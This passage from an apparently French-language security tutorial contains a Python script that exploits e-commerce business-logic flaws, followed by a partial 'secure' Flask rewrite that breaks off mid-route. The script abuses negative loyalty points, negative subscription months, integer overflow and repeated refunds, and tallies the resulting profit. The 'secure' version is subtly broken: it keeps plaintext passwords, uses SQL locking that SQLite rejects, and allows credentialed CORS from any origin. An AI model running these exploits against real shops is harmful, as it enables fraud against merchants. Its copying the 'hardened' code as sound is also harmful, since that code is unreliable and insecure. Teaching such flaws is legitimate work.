        print(f"\n[*] Balance change: ${profit:.2f}")
        
        if profit > 500:
            print("[[ALERTE]] CRITICAL: Multiple refunds processed for same order!")
            return True
        
        return False
    
    def exploit_6_integer_overflow(self):
        """
        EXPLOIT 6 : Integer overflow pour prix négatif
        """
        print("\n" + "=" * 80)
        print("EXPLOIT 6: INTEGER OVERFLOW")
        print("=" * 80)
        
        print("\n[*] Adding product with MAX_INT quantity...")
        
        # Ajouter avec quantité énorme
        response = self.session.post(
            f"{self.base_url}/api/cart/add",
            json={
                "product_id": 1,
                "quantity": 2147483647,  # MAX_INT
                "price": 0.01
            }
        )
        
        if response.status_code == 200:
            print("[[OK]] Product added")
            
            # Vérifier panier
            response = self.session.get(f"{self.base_url}/api/cart")
            data = response.json()
            
            print(f"[*] Cart total: ${data['total']:.2f}")
            
            if data['total'] < 0:
                print("[[ALERTE]] CRITICAL: Integer overflow resulted in negative price!")
                return True
        
        return False
    
    def exploit_7_loyalty_points_manipulation(self):
        """
        EXPLOIT 7 : Points négatifs = ajout
        """
        print("\n" + "=" * 80)
        print("EXPLOIT 7: LOYALTY POINTS MANIPULATION")
        print("=" * 80)
        
        initial_balance, initial_points = self.get_balance()
        
        print(f"\n[*] Initial points: {initial_points}")
        print(f"[*] Initial balance: ${initial_balance:.2f}")
        
        # Échanger points négatifs
        print("[*] Redeeming negative points...")
        
        response = self.session.post(
            f"{self.base_url}/api/loyalty/redeem",
            json={"points": -1000}  # Négatif !
        )
        
        if response.status_code == 200:
            data = response.json()
            print(f"[[OK]] Redemption successful")
            print(f"    Points 'redeemed': {data['points_redeemed']}")
            print(f"    Amount: ${data['amount']:.2f}")
            
            final_balance, final_points = self.get_balance()
            
            print(f"\n[*] Final points: {final_points}")
            print(f"[*] Final balance: ${final_balance:.2f}")
            
            if final_points > initial_points or final_balance > initial_balance:
                print("[[ALERTE]] CRITICAL: Negative points added instead of subtracted!")
                return True
        
        return False
    
    def exploit_8_premium_negative_months(self):
        """
        EXPLOIT 8 : Abonnement avec mois négatifs
        """
        print("\n" + "=" * 80)
        print("EXPLOIT 8: PREMIUM SUBSCRIPTION MANIPULATION")
        print("=" * 80)
        
        initial_balance, _ = self.get_balance()
        
        print(f"\n[*] Initial balance: ${initial_balance:.2f}")
        print("[*] Subscribing with negative months...")
        
        response = self.session.post(
            f"{self.base_url}/api/premium/subscribe",
            json={"months": -12}  # Négatif !
        )
        
        if response.status_code == 200:
            data = response.json()
            print(f"[[OK]] Subscription successful")
            print(f"    Total charged: ${data['total']:.2f}")
            
            final_balance, _ = self.get_balance()
            
            print(f"[*] Final balance: ${final_balance:.2f}")
            
            if final_balance > initial_balance:
                print("[[ALERTE]] CRITICAL: Negative months resulted in credit!")
                return True
        
        return False
    
    def run_all_exploits(self):
        """
        Exécuter tous les exploits
        """
        self.banner()
        
        # Login
        if not self.login():
            print("[[X]] Login failed. Exiting...")
            return
        
        results = {}
        
        input("\n[Press Enter to start exploitation...]")
        
        # Exploit 1
        results['negative_price'] = self.exploit_1_negative_price()
        input("\n[Press Enter for next exploit...]")
        
        # Exploit 2
        results['coupon_abuse'] = self.exploit_2_coupon_abuse()
        input("\n[Press Enter for next exploit...]")
        
        # Exploit 3
        results['race_condition'] = self.exploit_3_race_condition_stock()
        input("\n[Press Enter for next exploit...]")
        
        # Exploit 4
        results['gift_card_dup'] = self.exploit_4_gift_card_duplication()
        input("\n[Press Enter for next exploit...]")
        
        # Exploit 5
        results['refund_abuse'] = self.exploit_5_refund_abuse()
        input("\n[Press Enter for next exploit...]")
        
        # Exploit 6
        results['integer_overflow'] = self.exploit_6_integer_overflow()
        input("\n[Press Enter for next exploit...]")
        
        # Exploit 7
        results['loyalty_manipulation'] = self.exploit_7_loyalty_points_manipulation()
        input("\n[Press Enter for next exploit...]")
        
        # Exploit 8
        results['premium_negative'] = self.exploit_8_premium_negative_months()
        
        # Summary
        self.print_summary(results)
    
    def print_summary(self, results):
        """
        Résumé de l'exploitation
        """
        print("\n" + "=" * 80)
        print("[GRAPHIQUE] EXPLOITATION SUMMARY")
        print("=" * 80)
        
        exploits = [
            ("Negative Price Manipulation", results.get('negative_price')),
            ("Coupon Multiple Application", results.get('coupon_abuse')),
            ("Race Condition Stock", results.get('race_condition')),
            ("Gift Card Duplication", results.get('gift_card_dup')),
            ("Multiple Refunds", results.get('refund_abuse')),
            ("Integer Overflow", results.get('integer_overflow')),
            ("Loyalty Points Manipulation", results.get('loyalty_manipulation')),
            ("Premium Negative Months", results.get('premium_negative'))
        ]
        
        successful = 0
        
        for name, success in exploits:
            status = "[OK] SUCCESS" if success else "[X] FAILED"
            print(f"  {name}: {status}")
            if success:
                successful += 1
        
        print(f"\nTotal: {successful}/{len(exploits)} exploits successful")
        
        # Calcul profit final
        final_balance, final_points = self.get_balance()
        total_profit = final_balance - self.initial_balance
        
        print("\n" + "=" * 80)
        print("[ARGENT] FINANCIAL IMPACT")
        print("=" * 80)
        print(f"  Initial Balance: ${self.initial_balance:.2f}")
        print(f"  Final Balance: ${final_balance:.2f}")
        print(f"  TOTAL PROFIT: ${total_profit:.2f}")
        print(f"  Loyalty Points: {final_points}")
        
        print("\n" + "=" * 80)
        print("[ALERTE] CRITICAL: BUSINESS LOGIC VULNERABILITIES CONFIRMED")
        print("=" * 80)
        
        print("\nBusiness Impact:")
        print("  • Financial Loss: SEVERE")
        print("  • Inventory Chaos: Stock discrepancies")
        print("  • Coupon System Broken: Unlimited discounts")
        print("  • Gift Card System: Money duplication")
        print("  • Refund System: Multiple refunds")
        print("  • Loyalty Program: Points manipulation")
        
        print("\nRecommended Actions:")
        print("  1. Server-side price validation")
        print("  2. Single-use coupon enforcement")
        print("  3. Transaction locking for race conditions")
        print("  4. Gift card state management")
        print("  5. Refund tracking per order")
        print("  6. Input validation (negative values)")
        print("  7. Workflow state verification")
        print("  8. Business logic unit tests")

if __name__ == '__main__':
    print("""
    ╔════════════════════════════════════════════════════════════════╗
    ║        BUSINESS LOGIC VULNERABILITIES EXPLOITATION             ║
    ║                                                                ║
    ║  Complete exploitation of e-commerce logic flaws               ║
    ║                                                                ║
    ║  [ATTENTION]  FOR EDUCATIONAL PURPOSES ONLY                            ║
    ╚════════════════════════════════════════════════════════════════╝
    """)
    
    exploiter = BusinessLogicExploiter()
    exploiter.run_all_exploits()
```

---

**Continuer avec la VERSION SÉCURISÉE et les protections complètes ?** [SECURITE]

### PARTIE C : VERSION SÉCURISÉE

**1. Application E-commerce sécurisée :**

```python
# ecommerce_secure.py
from flask import Flask, request, jsonify, session, render_template_string
from flask_cors import CORS
import sqlite3
import secrets
import time
from datetime import datetime, timedelta
from decimal import Decimal
from functools import wraps
import hashlib
import logging
from contextlib import contextmanager

app = Flask(__name__)
app.secret_key = secrets.token_hex(32)  # [OK] Secret key sécurisé
CORS(app, supports_credentials=True)

DB_FILE = 'ecommerce_secure.db'

# [OK] Configuration sécurisée
app.config.update(
    SESSION_COOKIE_SECURE=True,
    SESSION_COOKIE_HTTPONLY=True,
    SESSION_COOKIE_SAMESITE='Lax',
    PERMANENT_SESSION_LIFETIME=timedelta(hours=1),
    MAX_CONTENT_LENGTH=10 * 1024 * 1024  # 10MB max
)

# [OK] Logging
logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s - %(name)s - %(levelname)s - %(message)s'
)
logger = logging.getLogger(__name__)

# [OK] CLASSE : Transaction Manager
@contextmanager
def get_db_transaction():
    """
    [OK] Gestionnaire de transactions avec isolation
    """
    conn = sqlite3.connect(DB_FILE, isolation_level='IMMEDIATE')
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    try:
        yield cursor
        conn.commit()
    except Exception as e:
        conn.rollback()
        logger.error(f"Transaction rolled back: {str(e)}")
        raise
    finally:
        conn.close()

# [OK] CLASSE : Price Validator
class PriceValidator:
    """
    [OK] Validation stricte des prix
    """
    
    MIN_PRICE = Decimal('0.01')
    MAX_PRICE = Decimal('999999.99')
    
    @staticmethod
    def validate_price(price):
        """Valider un prix"""
        try:
            price_decimal = Decimal(str(price))
            
            # [OK] Vérifier positif
            if price_decimal < PriceValidator.MIN_PRICE:
                raise ValueError("Price must be positive")
            
            # [OK] Vérifier maximum
            if price_decimal > PriceValidator.MAX_PRICE:
                raise ValueError("Price exceeds maximum")
            
            # [OK] Vérifier 2 décimales max
            if price_decimal.as_tuple().exponent < -2:
                raise ValueError("Price must have max 2 decimal places")
            
            return float(price_decimal)
            
        except (ValueError, TypeError) as e:
            raise ValueError(f"Invalid price: {str(e)}")
    
    @staticmethod
    def validate_quantity(quantity):
        """Valider une quantité"""
        try:
            qty = int(quantity)
            
            # [OK] Vérifier positif et non-zéro
            if qty <= 0:
                raise ValueError("Quantity must be positive")
            
            # [OK] Limite maximale
            if qty > 1000:
                raise ValueError("Quantity exceeds maximum (1000)")
            
            return qty
            
        except (ValueError, TypeError) as e:
            raise ValueError(f"Invalid quantity: {str(e)}")

# [OK] CLASSE : Coupon Manager
class CouponManager:
    """
    [OK] Gestion sécurisée des coupons
    """
    
    def __init__(self, cursor):
        self.cursor = cursor
    
    def validate_coupon(self, code, user_id, cart_total):
        """
        [OK] Valider un coupon avec toutes les vérifications
        """
        # Récupérer coupon
        self.cursor.execute('''
            SELECT * FROM coupons WHERE code = ? AND active = 1
        ''', (code,))
        
        coupon = self.cursor.fetchone()
        
        if not coupon:
            raise ValueError("Invalid or inactive coupon")
        
        # [OK] Vérifier expiration
        if coupon['expires_at']:
            expires = datetime.fromisoformat(coupon['expires_at'])
            if datetime.now() > expires:
                raise ValueError("Coupon has expired")
        
        # [OK] Vérifier utilisations
        if coupon['used_count'] >= coupon['max_uses']:
            raise ValueError("Coupon usage limit reached")
        
        # [OK] Vérifier minimum d'achat
        if cart_total < coupon['min_purchase']:
            raise ValueError(f"Minimum purchase of ${coupon['min_purchase']:.2f} required")
        
        # [OK] Vérifier si déjà utilisé par cet utilisateur
        self.cursor.execute('''
            SELECT COUNT(*) as count FROM coupon_usage 
            WHERE coupon_id = ? AND user_id = ?
        ''', (coupon['id'], user_id))
        
        if self.cursor.fetchone()['count'] > 0:
            raise ValueError("Coupon already used by this user")
        
        return dict(coupon)
    
    def apply_coupon(self, coupon, cart_total):
        """
        [OK] Calculer la réduction
        """
        if coupon['discount_type'] == 'percentage':
            discount = cart_total * (Decimal(coupon['discount_value']) / 100)
        elif coupon['discount_type'] == 'fixed':
            discount = Decimal(coupon['discount_value'])
        else:
            raise ValueError("Invalid discount type")
        
        # [OK] Réduction ne peut pas dépasser le total
        discount = min(discount, cart_total)
        
        return float(discount)
    
    def mark_used(self, coupon_id, user_id):
        """
        [OK] Marquer coupon comme utilisé
        """
        # Incrémenter compteur
        self.cursor.execute('''
            UPDATE coupons 
            SET used_count = used_count + 1 
            WHERE id = ?
        ''', (coupon_id,))
        
        # Enregistrer utilisation par utilisateur
        self.cursor.execute('''
            INSERT INTO coupon_usage (coupon_id, user_id, used_at)
            VALUES (?, ?, ?)
        ''', (coupon_id, user_id, datetime.now()))

# [OK] CLASSE : Gift Card Manager
class GiftCardManager:
    """
    [OK] Gestion sécurisée des gift cards
    """
    
    def __init__(self, cursor):
        self.cursor = cursor
    
    def create_gift_card(self, amount, user_id):
        """
        [OK] Créer une gift card
        """
        # [OK] Valider montant
        amount = PriceValidator.validate_price(amount)
        
        # Générer code unique
        code = self.generate_unique_code()
        
        self.cursor.execute('''
            INSERT INTO gift_cards (code, balance, user_id, status, created_at)
            VALUES (?, ?, ?, 'active', ?)
        ''', (code, amount, user_id, datetime.now()))
        
        return code, amount
    
    def generate_unique_code(self):
        """
        [OK] Générer code unique
        """
        while True:
            code = secrets.token_hex(8).upper()
            
            # Vérifier unicité
            self.cursor.execute('''
                SELECT COUNT(*) as count FROM gift_cards WHERE code = ?
            ''', (code,))
            
            if self.cursor.fetchone()['count'] == 0:
                return code
    
    def redeem_gift_card(self, code, user_id):
        """
        [OK] Utiliser une gift card (une seule fois)
        """
        # [OK] Récupérer avec verrouillage
        self.cursor.execute('''
            SELECT * FROM gift_cards 
            WHERE code = ? AND status = 'active'
            FOR UPDATE
        ''', (code,))
        
        gift_card = self.cursor.fetchone()
        
        if not gift_card:
            raise ValueError("Invalid or already used gift card")
        
        balance = gift_card['balance']
        
        # [OK] Marquer comme utilisée
        self.cursor.execute('''
            UPDATE gift_cards 
            SET status = 'redeemed',
                redeemed_by = ?,
                redeemed_at = ?
            WHERE id = ?
        ''', (user_id, datetime.now(), gift_card['id']))
        
        logger.info(f"Gift card {code} redeemed by user {user_id} for ${balance}")
        
        return balance

# [OK] CLASSE : Order Manager
class OrderManager:
    """
    [OK] Gestion sécurisée des commandes
    """
    
    def __init__(self, cursor):
        self.cursor = cursor
    
    def create_order(self, user_id, cart_items, discount=0):
        """
        [OK] Créer commande avec validation complète
        """
        if not cart_items:
            raise ValueError("Cart is empty")
        
        # [OK] Calculer total depuis base de données (pas depuis client)
        total = Decimal('0')
        order_items = []
        
        for item in cart_items:
            # [OK] Récupérer prix réel depuis DB
            self.cursor.execute('''
                SELECT price, stock FROM products WHERE id = ?
            ''', (item['product_id'],))
            
            product = self.cursor.fetchone()
            
            if not product:
                raise ValueError(f"Product {item['product_id']} not found")
            
            # [OK] Vérifier stock avec verrouillage
            self.cursor.execute('''
                SELECT stock FROM products WHERE id = ? FOR UPDATE
            ''', (item['product_id'],))
            
            current_stock = self.cursor.fetchone()['stock']
            
            if current_stock < item['quantity']:
                raise ValueError(f"Insufficient stock for product {item['product_id']}")
            
            # [OK] Utiliser prix de la DB
            real_price = Decimal(str(product['price']))
            quantity = item['quantity']
            subtotal = real_price * quantity
            
            total += subtotal
            
            order_items.append({
                'product_id': item['product_id'],
                'quantity': quantity,
                'price': float(real_price),
                'subtotal': float(subtotal)
            })
        
        # [OK] Appliquer réduction
        discount_decimal = Decimal(str(discount))
        total = max(total - discount_decimal, Decimal('0'))
        
        # [OK] Créer commande
        self.cursor.execute('''
            INSERT INTO orders (user_id, total, discount, status, created_at)
            VALUES (?, ?, ?, 'pending', ?)
        ''', (user_id, float(total), float(discount_decimal), datetime.now()))
        
        order_id = self.cursor.lastrowid
        
        # [OK] Enregistrer items
        for item in order_items:
            self.cursor.execute('''
                INSERT INTO order_items (order_id, product_id, quantity, price)
                VALUES (?, ?, ?, ?)
            ''', (order_id, item['product_id'], item['quantity'], item['price']))
        
        # [OK] Déduire stock
        for item in order_items:
            self.cursor.execute('''
                UPDATE products 
                SET stock = stock - ? 
                WHERE id = ?
            ''', (item['quantity'], item['product_id']))
        
        return order_id, float(total), order_items
    
    def process_payment(self, user_id, order_id, amount):
        """
        [OK] Traiter paiement
        """
        # Vérifier solde
        self.cursor.execute('''
            SELECT balance FROM users WHERE id = ? FOR UPDATE
        ''', (user_id,))
        
        balance = Decimal(str(self.cursor.fetchone()['balance']))
        amount_decimal = Decimal(str(amount))
        
        if balance < amount_decimal:
            raise ValueError("Insufficient balance")
        
        # Déduire
        self.cursor.execute('''
            UPDATE users 
            SET balance = balance - ? 
            WHERE id = ?
        ''', (float(amount_decimal), user_id))
        
        # Marquer commande payée
        self.cursor.execute('''
            UPDATE orders 
            SET status = 'paid',
                paid_at = ?
            WHERE id = ?
        ''', (datetime.now(), order_id))
        
        # [OK] Ajouter points de fidélité (1€ = 1 point)
        points = int(amount_decimal)
        self.cursor.execute('''
            UPDATE users 
            SET loyalty_points = loyalty_points + ? 
            WHERE id = ?
        ''', (points, user_id))
        
        logger.info(f"Order {order_id} paid by user {user_id}: ${amount}")

# [OK] CLASSE : Refund Manager
class RefundManager:
    """
    [OK] Gestion sécurisée des remboursements
    """
    
    REFUND_WINDOW_DAYS = 30  # 30 jours pour demander remboursement
    
    def __init__(self, cursor):
        self.cursor = cursor
    
    def request_refund(self, order_id, user_id, reason):
        """
        [OK] Demander un remboursement (avec vérifications)
        """
        # [OK] Récupérer commande
        self.cursor.execute('''
            SELECT * FROM orders 
            WHERE id = ? AND user_id = ?
        ''', (order_id, user_id))
        
        order = self.cursor.fetchone()
        
        if not order:
            raise ValueError("Order not found")
        
        # [OK] Vérifier si déjà remboursée
        self.cursor.execute('''
            SELECT COUNT(*) as count FROM refunds 
            WHERE order_id = ? AND status = 'approved'
        ''', (order_id,))
        
        if self.cursor.fetchone()['count'] > 0:
            raise ValueError("Order already refunded")
        
        # [OK] Vérifier fenêtre de temps
        order_date = datetime.fromisoformat(order['created_at'])
        days_since_order = (datetime.now() - order_date).days
        
        if days_since_order > self.REFUND_WINDOW_DAYS:
            raise ValueError(f"Refund window ({self.REFUND_WINDOW_DAYS} days) has expired")
        
        # [OK] Créer demande (status = pending)
        self.cursor.execute('''
            INSERT INTO refunds (order_id, user_id, amount, reason, status, created_at)
            VALUES (?, ?, ?, ?, 'pending', ?)
        ''', (order_id, user_id, order['total'], reason, datetime.now()))
        
        refund_id = self.cursor.lastrowid
        
        logger.info(f"Refund requested for order {order_id} by user {user_id}")
        
        return refund_id
    
    def approve_refund(self, refund_id):
        """
        [OK] Approuver remboursement (admin seulement)
        """
        # Récupérer demande
        self.cursor.execute('''
            SELECT * FROM refunds WHERE id = ? AND status = 'pending'
        ''', (refund_id,))
        
        refund = self.cursor.fetchone()
        
        if not refund:
            raise ValueError("Refund request not found or already processed")
        
        # Rembourser
        self.cursor.execute('''
            UPDATE users 
            SET balance = balance + ? 
            WHERE id = ?
        ''', (refund['amount'], refund['user_id']))
        
        # Marquer approuvé
        self.cursor.execute('''
            UPDATE refunds 
            SET status = 'approved',
                approved_at = ?
            WHERE id = ?
        ''', (datetime.now(), refund_id))
        
        logger.info(f"Refund {refund_id} approved: ${refund['amount']}")

# [OK] DÉCORATEURS
def require_auth(f):
    """[OK] Requiert authentification"""
    @wraps(f)
    def decorated_function(*args, **kwargs):
        if 'user_id' not in session:
            return jsonify({'error': 'Authentication required'}), 401
        return f(*args, **kwargs)
    return decorated_function

def validate_input(schema):
    """[OK] Valider input JSON"""
    def decorator(f):
        @wraps(f)
        def decorated_function(*args, **kwargs):
            data = request.get_json()
            
            if not data:
                return jsonify({'error': 'Invalid JSON'}), 400
            
            # Vérifier champs requis
            for field, rules in schema.items():
                if rules.get('required') and field not in data:
                    return jsonify({'error': f'Missing field: {field}'}), 400
                
                if field in data:
                    value = data[field]
                    
                    # Vérifier type
                    if 'type' in rules:
                        expected_type = rules['type']
                        if not isinstance(value, expected_type):
                            return jsonify({'error': f'Invalid type for {field}'}), 400
                    
                    # Vérifier min/max
                    if 'min' in rules and value < rules['min']:
                        return jsonify({'error': f'{field} below minimum'}), 400
                    
                    if 'max' in rules and value > rules['max']:
                        return jsonify({'error': f'{field} exceeds maximum'}), 400
            
            return f(*args, **kwargs)
        return decorated_function
    return decorator

# [OK] INITIALISATION DATABASE
def init_db():
    """Initialiser la base de données sécurisée"""
    conn = sqlite3.connect(DB_FILE)
    cursor = conn.cursor()
    
    # Table produits
    cursor.execute('''
        CREATE TABLE IF NOT EXISTS products (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            name TEXT NOT NULL,
            price REAL NOT NULL CHECK(price > 0),
            stock INTEGER NOT NULL CHECK(stock >= 0),
            description TEXT,
            created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
        )
    ''')
    
    # Table utilisateurs
    cursor.execute('''
        CREATE TABLE IF NOT EXISTS users (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            username TEXT UNIQUE NOT NULL,
            email TEXT,
            password TEXT NOT NULL,
            balance REAL DEFAULT 0.0 CHECK(balance >= 0),
            loyalty_points INTEGER DEFAULT 0 CHECK(loyalty_points >= 0),
            premium BOOLEAN DEFAULT 0,
            premium_expires_at TIMESTAMP,
            created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
        )
    ''')
    
    # Table commandes
    cursor.execute('''
        CREATE TABLE IF NOT EXISTS orders (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            user_id INTEGER NOT NULL,
            total REAL NOT NULL CHECK(total >= 0),
            discount REAL DEFAULT 0 CHECK(discount >= 0),
            status TEXT DEFAULT 'pending',
            created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
            paid_at TIMESTAMP,
            FOREIGN KEY (user_id) REFERENCES users(id)
        )
    ''')
    
    # Table order items
    cursor.execute('''
        CREATE TABLE IF NOT EXISTS order_items (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            order_id INTEGER NOT NULL,
            product_id INTEGER NOT NULL,
            quantity INTEGER NOT NULL CHECK(quantity > 0),
            price REAL NOT NULL CHECK(price > 0),
            FOREIGN KEY (order_id) REFERENCES orders(id),
            FOREIGN KEY (product_id) REFERENCES products(id)
        )
    ''')
    
    # Table coupons
    cursor.execute('''
        CREATE TABLE IF NOT EXISTS coupons (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            code TEXT UNIQUE NOT NULL,
            discount_type TEXT NOT NULL,
            discount_value REAL NOT NULL CHECK(discount_value > 0),
            min_purchase REAL DEFAULT 0 CHECK(min_purchase >= 0),
            max_uses INTEGER DEFAULT 1 CHECK(max_uses > 0),
            used_count INTEGER DEFAULT 0 CHECK(used_count >= 0),
            expires_at TIMESTAMP,
            active BOOLEAN DEFAULT 1,
            created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
        )
    ''')
    
    # [OK] Table coupon_usage (tracking)
    cursor.execute('''
        CREATE TABLE IF NOT EXISTS coupon_usage (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            coupon_id INTEGER NOT NULL,
            user_id INTEGER NOT NULL,
            used_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
            FOREIGN KEY (coupon_id) REFERENCES coupons(id),
            FOREIGN KEY (user_id) REFERENCES users(id),
            UNIQUE(coupon_id, user_id)
        )
    ''')
    
    # Table gift cards
    cursor.execute('''
        CREATE TABLE IF NOT EXISTS gift_cards (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            code TEXT UNIQUE NOT NULL,
            balance REAL NOT NULL CHECK(balance > 0),
            user_id INTEGER,
            status TEXT DEFAULT 'active',
            redeemed_by INTEGER,
            created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
            redeemed_at TIMESTAMP,
            FOREIGN KEY (user_id) REFERENCES users(id),
            FOREIGN KEY (redeemed_by) REFERENCES users(id)
        )
    ''')
    
    # Table remboursements
    cursor.execute('''
        CREATE TABLE IF NOT EXISTS refunds (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            order_id INTEGER NOT NULL,
            user_id INTEGER NOT NULL,
            amount REAL NOT NULL CHECK(amount > 0),
            reason TEXT,
            status TEXT DEFAULT 'pending',
            created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
            approved_at TIMESTAMP,
            FOREIGN KEY (order_id) REFERENCES orders(id),
            FOREIGN KEY (user_id) REFERENCES users(id)
        )
    ''')
    
    # Insérer données exemple
    products = [
        ('Laptop Premium', 1500.00, 10, 'High-end laptop'),
        ('Smartphone', 800.00, 20, 'Latest model'),
        ('Headphones', 200.00, 50, 'Noise canceling'),
        ('Smartwatch', 400.00, 30, 'Fitness tracker'),
        ('Tablet', 600.00, 15, '10-inch display')
    ]
    
    for name, price, stock, desc in products:
        try:
            cursor.execute('''
                INSERT INTO products (name, price, stock, description)
                VALUES (?, ?, ?, ?)
            ''', (name, price, stock, desc))
        except:
            pass
    
    users = [
        ('alice', 'alice@example.com', 'alice123', 1000.0, 500),
        ('bob', 'bob@example.com', 'bob123', 500.0, 100)
    ]
    
    for username, email, password, balance, points in users:
        try:
            cursor.execute('''
                INSERT INTO users (username, email, password, balance, loyalty_points)
                VALUES (?, ?, ?, ?, ?)
            ''', (username, email, password, balance, points))
        except:
            pass
    
    coupons = [
        ('SAVE10', 'percentage', 10, 50, 100),
        ('SAVE50', 'fixed', 50, 100, 10),
        ('WELCOME20', 'percentage', 20, 0, 1)
    ]
    
    for code, type_, value, min_purchase, max_uses in coupons:
        try:
            expires = datetime.now() + timedelta(days=30)
            cursor.execute('''
                INSERT INTO coupons (code, discount_type, discount_value, 
                                   min_purchase, max_uses, expires_at)
                VALUES (?, ?, ?, ?, ?, ?)
            ''', (code, type_, value, min_purchase, max_uses, expires))
        except:
            pass
    
    conn.commit()
    conn.close()

init_db()

# [OK] ROUTES SÉCURISÉES

@app.route('/')
def index():
    return jsonify({
        'name': 'Secure E-Commerce Platform',
        'version': '2.0',
        'security': 'enabled'
    })

@app.route('/api/login', methods=['POST'])
@validate_input({
    'username': {'required': True, 'type': str},
    'password': {'required': True, 'type': str}
})
def login():
    """[OK] Login sécurisé"""
    data = request.json
    username = data['username']
    password = data['password']
    
    with get_db_transaction() as cursor:
        cursor.execute('''
            SELECT * FROM users WHERE username = ? AND password = ?
        ''', (username, password))
        
        user = cursor.fetchone()
        
        if not user:
            # [OK] Message générique
            return jsonify({'error': 'Invalid credentials'}), 401
        
        # [OK] Session sécurisée
        session.clear()
        session['user_id'] = user['id']
        session['username'] = user['username']
        session.permanent = True
        
        logger.info(f"User {username} logged in")
        
        return jsonify({
            'success': True,
            'user': {
                'id': user['id'],
                'username': user['username'],
                'balance': user['balance'],
                'loyalty_points': user['loyalty_points']
            }
        })

@app.route('/api/products')
def get_products():
    """[OK] Liste produits"""
    with get_db_transaction() as cursor:
        cursor.execute('SELECT * FROM products WHERE stock > 0')
        products = [dict(row) for row in cursor.fetchall()]
    
    return jsonify({'products': products})

@app.route('/api/cart/add', methods=['POST'])
@require_auth
@validate_input({
    'product_id': {'required': True, 'type': int, 'min': 1},
    'quantity': {'required': True, 'type': int, 'min': 1, 'max': 100}
})
def add_to_cart():
    """
    [OK] SÉCURISÉ : Prix récupéré depuis DB
    """
    data = request.json
    product_id = data['product_id']
    quantity = data['quantity']
    
    # [OK] Valider quantité
    try:
        quantity = PriceValidator.validate_quantity(quantity)
    except ValueError as e:
        return jsonify({'error': str(e)}), 400
    
    with get_db_transaction() as cursor:
        # [OK] Récupérer prix réel depuis DB
        cursor.execute('''
            SELECT price, stock FROM products WHERE id = ?
        ''', (product_id,))
        
        product = cursor.fetchone()
        
        if not product:
            return jsonify({'error': 'Product not found'}), 404
        
        # [OK] Vérifier stock
        if product['stock'] < quantity:
            return jsonify({'error': 'Insufficient stock'}), 400
        
        # [OK] Ajouter au panier (session temporaire)
        if 'cart' not in session:
            session['cart'] = []
        
        # Vérifier si produit déjà dans panier
        cart = session['cart']
        found = False
        
        for item in cart:
            if item['product_id'] == product_id:
                item['quantity'] += quantity
                found = True
                break
        
        if not found:
            cart.append({
                'product_id': product_id,
                'quantity': quantity,
                'price': product['price']  # [OK] Prix de la DB
            })
        
        session['cart'] = cart
        session.modified = True
    
    return jsonify({
        'success': True,
        'message': 'Added to cart'
    })

@app.route('/api/cart')
@require_auth
def view_cart():
    """[OK] Voir panier"""
    cart = session.get('cart', [])
    
    if not cart:
        return jsonify({'items': [], 'total': 0})
    
    with get_db_transaction() as cursor:
        items = []
        total = Decimal('0')
        
        for item in cart:
            # [OK] Récupérer infos produit depuis DB
            cursor.execute('''
                SELECT name, price FROM products WHERE id = ?
            ''', (item['product_id'],))
            
            product = cursor.fetchone()
            
            if product:
                price = Decimal(str(product['price']))
                quantity = item['quantity']
                subtotal = price * quantity
                
                items.append({
                    'product_id': item['product_id'],
                    'name': product['name'],
                    'price': float(price),
                    'quantity': quantity,
                    'subtotal': float(subtotal)
                })
                
                total += subtotal
    
    return jsonify({
        'items': items,
        'total': float(total),
        'discount': session.get('discount', 0)
    })

@app.route('/api/coupon/apply', methods=['POST'])
@require_auth
@validate_input({
    'code': {'required': True, 'type': str}
})
def apply_coupon():
    """
    [OK] SÉCURISÉ : Validation complète + tracking
    """
    data = request.json
    code = data['code'].strip().upper()
    
    cart = session.get('cart', [])
    
    if not cart:
        return jsonify({'error': 'Cart is empty'}), 400
    
    with get_db_transaction() as cursor:
        # Calculer total panier
        total = Decimal('0')
        for item in cart:
            cursor.execute('SELECT price FROM products WHERE id = ?', (item['product_id'],))
            product = cursor.fetchone()
            if product:
                total += Decimal(str(product['price'])) * item['quantity']
        
        # [OK] Valider coupon
        coupon_mgr = CouponManager(cursor)
        
        try:
            coupon = coupon_mgr.validate_coupon(code, session['user_id'], float(total))
        except ValueError as e:
            return jsonify({'error': str(e)}), 400
        
        # [OK] Calculer réduction
        discount = coupon_mgr.apply_coupon(coupon, total)
        
        # [OK] Marquer comme utilisé
        coupon_mgr.mark_used(coupon['id'], session['user_id'])
        
        # Stocker en session
        session['coupon'] = coupon['code']
        session['discount'] = discount
        session.modified = True
    
    logger.info(f"Coupon {code} applied by user {session['user_id']}: ${discount:.2f} off")
    
    return jsonify({
        'success': True,
        'discount': discount,
        'new_total': float(total - Decimal(str(discount)))
    })

@app.route('/api/checkout', methods=['POST'])
@require_auth
def checkout():
    """
    [OK] SÉCURISÉ : Transaction atomique, validation complète
    """
    cart = session.get('cart', [])
    
    if not cart:
        return jsonify({'error': 'Cart is empty'}), 400
    
    discount = session.get('discount', 0)
    
    try:
        with get_db_transaction() as cursor:
            # [OK] Créer commande
            order_mgr = OrderManager(cursor)
            order_id, total, items = order_mgr.create_order(
                session['user_id'],
                cart,
                discount
            )
            
            # [OK] Traiter paiement
            order_mgr.process_payment(session['user_id'], order_id, total)
            
            # [OK] Vider panier
            session['cart'] = []
            session['discount'] = 0
            session['coupon'] = None
            session.modified = True
            
            logger.info(f"Order {order_id} completed for user {session['user_id']}: ${total:.2f}")
            
            return jsonify({
                'success': True,
                'order_id': order_id,
                'total': total,
                'items': items
            })
            
    except ValueError as e:
        return jsonify({'error': str(e)}), 400
    except Exception as e:
        logger.error(f"Checkout failed: {str(e)}")
        return jsonify({'error': 'Checkout failed'}), 500

@app.route('/api/giftcard/buy', methods=['POST'])
@require_auth
